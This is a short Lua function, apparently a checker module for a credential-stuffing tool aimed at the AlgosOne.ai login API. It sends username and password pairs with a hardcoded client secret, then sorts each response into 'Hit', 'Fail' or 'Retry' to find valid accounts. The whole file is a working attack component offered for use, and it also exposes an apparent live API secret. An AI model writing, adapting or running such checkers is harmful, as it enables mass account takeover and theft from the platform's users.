AlgosOne.ai

function Checker(username, password)
    -- Send a POST request to the login API with the provided username and password
    local response = Post("https://api.algosone.ai/api/login", "{\"username\":\"" .. username .. "\",\"password\":\"" .. password .. "\",\"client_id\":\"1\",\"client_secret\":\"h48gxZSgFq28MKC9MIdiul4WGPZYuSAOrQucLSau\",\"grant_type\":\"password\",\"scope\":[]}", "application/json")
    
    -- Check if the response contains an access token indicating a valid account
    if (string.find(response, "access_token")) then
        return "Hit"  -- Return "Hit" for a valid account
    
    -- Check if the response indicates incorrect user credentials
    elseif (string.find(response, "the user credentials were incorrect")) then
        return "Fail"  -- Return "Fail" for an invalid account
    
    -- If the response does not match the expected patterns, indicate a need to retry
    else
        return "Retry"  -- Return "Retry" for failed requests
    end
end

Last updated